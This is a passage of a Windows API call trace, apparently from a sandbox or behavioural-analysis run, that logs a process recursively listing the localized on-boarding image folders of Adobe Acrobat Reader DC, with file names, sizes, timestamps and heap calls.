lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef555eb8, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xef555eb8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xef555eb8, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5ce1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Getmobile-2x.png", cAlternateFileName="GETMOB~2.PNG")) returned 1 [0259.412] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef52fc96, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xef52fc96, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xef52fc96, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x386d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetMobile.png", cAlternateFileName="GETMOB~1.PNG")) returned 1 [0259.412] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee2ed3e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee2ed3e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee2ed3e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x142eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="go-mobile-2x.png", cAlternateFileName="GO-MOB~1.PNG")) returned 1 [0259.412] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef52fc96, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xef52fc96, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xef52fc96, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x8967, dwReserved0=0x0, dwReserved1=0x0, cFileName="go-mobile.png", cAlternateFileName="GO-MOB~2.PNG")) returned 1 [0259.412] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="help.svg", cAlternateFileName="")) returned 1 [0259.412] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee2ed3e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee2ed3e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee2ed3e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x52a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="improved-office-to-pdf-2x.png", cAlternateFileName="IMPROV~1.PNG")) returned 1 [0259.412] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef52fc96, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xef52fc96, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xef52fc96, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x29ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="improved-office-to-pdf.png", cAlternateFileName="IMPROV~2.PNG")) returned 1 [0259.412] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee2ed3e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee2ed3e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee2ed3e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa970, dwReserved0=0x0, dwReserved1=0x0, cFileName="lets-get-started-2x.png", cAlternateFileName="LETS-G~1.PNG")) returned 1 [0259.412] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef8c3495, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xef8c3495, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xef8c3495, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ada, dwReserved0=0x0, dwReserved1=0x0, cFileName="lets-get-started.png", cAlternateFileName="LETS-G~2.PNG")) returned 1 [0259.412] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Localized_images", cAlternateFileName="LOCALI~1")) returned 1 [0259.412] GetProcessHeap () returned 0xc10000 [0259.412] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0259.413] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\images\\themeless\\Localized_images\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0259.415] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.415] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3607, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppStore_icon.svg", cAlternateFileName="APPSTO~1.SVG")) returned 1 [0259.415] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0259.415] GetProcessHeap () returned 0xc10000 [0259.415] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0259.415] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\images\\themeless\\Localized_images\\cs-cz\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.415] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.416] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppStore_icon.svg", cAlternateFileName="APPSTO~1.SVG")) returned 1 [0259.416] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1455, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 1 [0259.416] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1455, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 0 [0259.416] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0259.416] GetProcessHeap () returned 0xc10000 [0259.416] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0259.416] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0259.416] GetProcessHeap () returned 0xc10000 [0259.416] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0259.416] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\images\\themeless\\Localized_images\\da-dk\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.418] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.418] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppStore_icon.svg", cAlternateFileName="APPSTO~1.SVG")) returned 1 [0259.418] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x151c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 1 [0259.418] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x151c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 0 [0259.418] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0259.418] GetProcessHeap () returned 0xc10000 [0259.418] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0259.418] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0259.418] GetProcessHeap () returned 0xc10000 [0259.418] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0259.418] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\images\\themeless\\Localized_images\\de-de\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.419] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.419] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x461d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppStore_icon.svg", cAlternateFileName="APPSTO~1.SVG")) returned 1 [0259.419] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x163d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 1 [0259.419] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x163d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 0 [0259.419] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0259.419] GetProcessHeap () returned 0xc10000 [0259.419] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0259.419] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us", cAlternateFileName="")) returned 1 [0259.420] GetProcessHeap () returned 0xc10000 [0259.420] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0259.420] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\images\\themeless\\Localized_images\\en-us\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.420] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.420] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3607, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppStore_icon.svg", cAlternateFileName="APPSTO~1.SVG")) returned 1 [0259.421] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x15eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 1 [0259.421] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x15eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 0 [0259.421] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0259.421] GetProcessHeap () returned 0xc10000 [0259.421] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0259.421] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0259.421] GetProcessHeap () returned 0xc10000 [0259.421] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0259.421] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\images\\themeless\\Localized_images\\es-es\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.422] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.422] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5db2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppStore_icon.svg", cAlternateFileName="APPSTO~1.SVG")) returned 1 [0259.422] FindNextFileW (in: 